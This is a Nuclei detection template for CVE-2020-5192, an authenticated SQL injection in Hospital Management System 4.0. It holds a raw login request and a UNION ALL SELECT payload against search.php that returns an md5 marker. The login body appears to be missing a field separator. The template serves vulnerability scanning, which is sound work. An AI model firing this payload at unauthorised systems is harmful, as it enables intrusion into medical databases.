nuclei-templates/http/cves/2020/CVE-2020-5192.yaml

61 lines
2.2 KiB
YAML

id: CVE-2020-5192
info:
name: Hospital Management System 4.0 - SQL Injection
author: TenBird
severity: high
description: |
Hospital Management System 4.0 contains multiple SQL injection vulnerabilities because multiple pages and parameters do not validate user input. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
remediation: |
Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in Hospital Management System 4.0.
reference:
- https://www.exploit-db.com/exploits/47840
- https://phpgurukul.com/hospital-management-system-in-php/
- https://nvd.nist.gov/vuln/detail/CVE-2020-5192
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-5192
cwe-id: CWE-89
epss-score: 0.31381
epss-percentile: 0.96534
cpe: cpe:2.3:a:phpgurukul:hospital_management_system:4.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: phpgurukul
product: hospital_management_system
tags: cve2020,hms,cms,sqli,authenticated,edb,cve
variables:
num: "999999999"
http:
- raw:
- |
POST /hospital/hms/doctor/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}password={{password}}&submit=&submit=
- |
POST /hospital/hms/doctor/search.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
searchdata='+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT(md5({{num}}),1),2),NULL--+PqeG&search=
cookie-reuse: true
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(num)}}'
- type: status
status:
- 200
# digest: 4a0a004730450220551cfd9b53796d75c0c33660de168fbd540a94e85b7e42c600d272c4566e3874022100c6a79169965b4081a1d229915139391166550e32d5ef7adf98d546ad5491cb77:922c64590222798bb761d5b6d8e72950